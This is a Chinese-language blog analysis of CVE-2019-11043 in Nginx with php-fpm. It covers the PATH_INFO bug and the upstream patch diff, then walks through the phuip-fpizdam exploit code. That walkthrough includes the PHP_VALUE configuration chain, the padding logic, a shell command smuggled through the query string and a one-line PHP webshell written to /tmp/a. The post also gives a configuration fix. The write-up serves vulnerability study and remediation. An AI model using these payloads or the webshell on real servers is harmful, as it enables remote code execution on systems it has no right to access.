BlBana's BlackHouse.

PHP CVE-2019-11043 RCE工具分析

字数统计: 1.2k阅读时长: 5 min
2019/10/23 Share

下午看见了CVE-2019-11043漏洞的利用工具,简单的把phuip-fpidam工具看了一下,利用CVE-2019-11043控制Nginx fastcgi_param的PHP_VALUE变量对PHP配置改写,再在加载PHP扩展时写入Webshell。

1. 漏洞描述

PHP官方通告发布,使用Nginx + php-fpm服务器,在默认配置下,存在远程代码执行漏洞。Nginx在fastcgi_split_path_info带有%0a即换行符时,导致PATH_INFO为空,而php-fpm处理PATH_INFO为空,存在缺陷。

2. 影响范围

Nginx + php-fpm配置的服务器

3. 漏洞原理

具体原理没有分析,需要分析C代码

1
2
3
4
location ~ [^/].php(/|$) {
fastcgi_split_path_info ^(.+?.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;

Fastcgi_split_path_info用于定义一个正则表达式,来获取$fastcgi_path_info变量。^(.+?.php)(/.*)$正则捕获到两个组,第一个放入$fastcgi_script_name变量,第二个放入$fastcgi_path_info变量。例如:

1
2
3
# 传入/show.php/article/0001
$fastcgi_path_info = /article/0001
$fastcgi_script_name = /show.php

当攻击者使用换行符后,破坏fastcgi_split_path_info中的正则,导致PATH_INFO为空。

漏洞具体位置在,导致可以放置任意的FastCGI变量

https://github.com/php/php-src/blob/master/sapi/fpm/fpm/fpm_main.c#L1142

目前已经修正,可以看看修改前后的对比:

http://git.php.net/?p=php-src.git;a=commitdiff;h=ab061f95ca966731b1c84cf5b7b20155c0a1c06a

1
2
3
4
5
6
7
8
9
10
11
12
--- a/sapi/fpm/fpm/fpm_main.c
+++ b/sapi/fpm/fpm/fpm_main.c
@@ -1209,8 +1209,8 @@ static void init_request_info(void)
path_info = script_path_translated + ptlen;
tflag = (slen != 0 && (!orig_path_info || strcmp(orig_path_info, path_info) != 0));
} else {
- path_info = env_path_info ? env_path_info + pilen - slen : NULL;
- tflag = (orig_path_info != path_info);
+ path_info = (env_path_info && pilen > slen) ? env_path_info + pilen - slen : NULL;
+ tflag = path_info && (orig_path_info != path_info);
}
if (tflag) {

Phuip-fpidam利用FastCGI变量PHP_VALUE更改PHP配置,具体利用方式可以看第五部分。

PHP_VALUE变量,当path_info[0]置为0时,FCGI_PUTENV会被调用。攻击者通过构造URL路径和查询字符串,可以使path_info精确指向_fcgi_data_seg结构体的第一个字节,放入零将向后移动到char* pos字段,然后在FCGI_PUTENV使用脚本路径覆盖一些数据(包括其他的一些fast cgi variables),利用此种方式,伪造PHP_VALUE fcgi变量,修改PHP配置来执行代码。

4. 漏洞检测

默认配置下,就可能存在远程代码执行漏洞。

1
2
3
4
location ~ [^/].php(/|$) {
fastcgi_split_path_info ^(.+?.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;

5. 漏洞利用

Phuip-fpidam利用该漏洞控制了Nginx的fastcgi_param中的PHP_VALUE变量,动态的修改PHP配置,造成了命令执行,利用这个命令执行成功写入Webshell。

  • main.go

Detect函数中,通过遍历的方式获取params结构体中的两个参数,QueryStringLengthPisosLength。调用Attack函数并传入结构体params。

  • attack.go

在Attack函数中,循环构造并向目标服务器发送payload

1
2
3
4
5
6
7
8
9
10
11
12
13
# 原始payload如下

var chain = []string{
"short_open_tag=1",
"html_errors=0",
"include_path=/tmp",
"auto_prepend_file=a",
"log_errors=1",
"error_reporting=2",
"error_log=/tmp/a",
"extension_dir=\"<?=`\"",
"extension=\"$_GET[a]`?>\"",
}

发送前进行构造:

1
2
3
4
5
6
7
8
9
10
func MakePathInfo(phpValue string) (string, error) {
pi := "/PHP_VALUE\n" + phpValue
if len(pi) > PosOffset { # PosOffet=34
return "", fmt.Errorf("php.ini value is too long: %#v", phpValue)
}
return pi + strings.Repeat(";", PosOffset-len(pi)), nil
}

# 构造后如下payload
pi = "/PHP_VALUE\nshort_open_tag=1"+";;;;;;;"

发送构造的payload

1
2
3
4
5
6
7
8
9
10
11
func SetSettingSingle(requester *Requester, params *AttackParams, setting, queryStringPrefix string) (*http.Response, []byte, error) {
payload, err := MakePathInfo(setting)
if err != nil {
return nil, nil, err
}
return requester.RequestWithQueryStringPrefix(payload, params, queryStringPrefix)
}

# payload = "/PHP_VALUE\nshort_open_tag=1"+";;;;;;;"
# params = {qsl: 1790, pisos: 152} 具体数值是这样,没写过Go。。。不知道格式对不对
# queryStringPrefix = "a=/bin/sh+-c+'which+which'&"

RequestWithQueryStringPrefix函数中,payload被拼接到了URL路径当中,params.QueryStringLength用于生成定量的字符“Q”prefix进行拼接,params.PisosLength放入请求头D-Pisos中。

1
2
3
4
5
6
7
8
9
10
u.Path = u.Path + pathInfo
qslDelta := len(u.EscapedPath()) - len(pathInfo) - len(r.u.EscapedPath())
if qslDelta%2 != 0 {
panic(fmt.Errorf("got odd qslDelta, that means the URL encoding gone wrong: pathInfo=%#v, qslDelta=%#v", qslDelta))
}
qslPrime := params.QueryStringLength - qslDelta/2 - len(prefix)
if qslPrime < 0 {
return nil, nil, fmt.Errorf("qsl value too small: qsl=%v, qslDelta=%v, prefix=%#v", params.QueryStringLength, qslDelta, prefix)
}
u.RawQuery = prefix + strings.Repeat("Q", qslPrime)

发送payload,原始payload被写入到php.ini文件中,参数a后的命令成功执行/bin/sh+-c+'which+which'& ,利用配置extension_dir和extension拼接PHP扩展路径在加载PHP扩展时进行命令执行。(这块具体还不清楚是如何加载并执行了其中的代码,需要留个坑后面补充,继续分析工具调用。。。)

成功加载扩展并执行命令后,开始写入Webshell。

1
cleanupCommand = ";echo '<?php echo `$_GET[a]`;return;?>'>/tmp/a;which which"

在/tmp/a文件中写入Webshell。

  • 如何加载Webshell

    1
    2
    "include_path=/tmp"  # 配置include时文件路径
    "auto_prepend_file=a" # 默认在全部PHP文件前面include("/tmp/a")
  • 成功加载Webshell。

http://localhost/index.php?a=cmd即可执行命令。

6. 漏洞修复

不影响业务情况下,可以选择删除下列配置:

1
2
fastcgi_split_path_info ^(.+?.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;

7. 参考链接

CATALOG
  1. 1. 1. 漏洞描述
  2. 2. 2. 影响范围
  3. 3. 3. 漏洞原理
  4. 4. 4. 漏洞检测
  5. 5. 5. 漏洞利用
  6. 6. 6. 漏洞修复
  7. 7. 7. 参考链接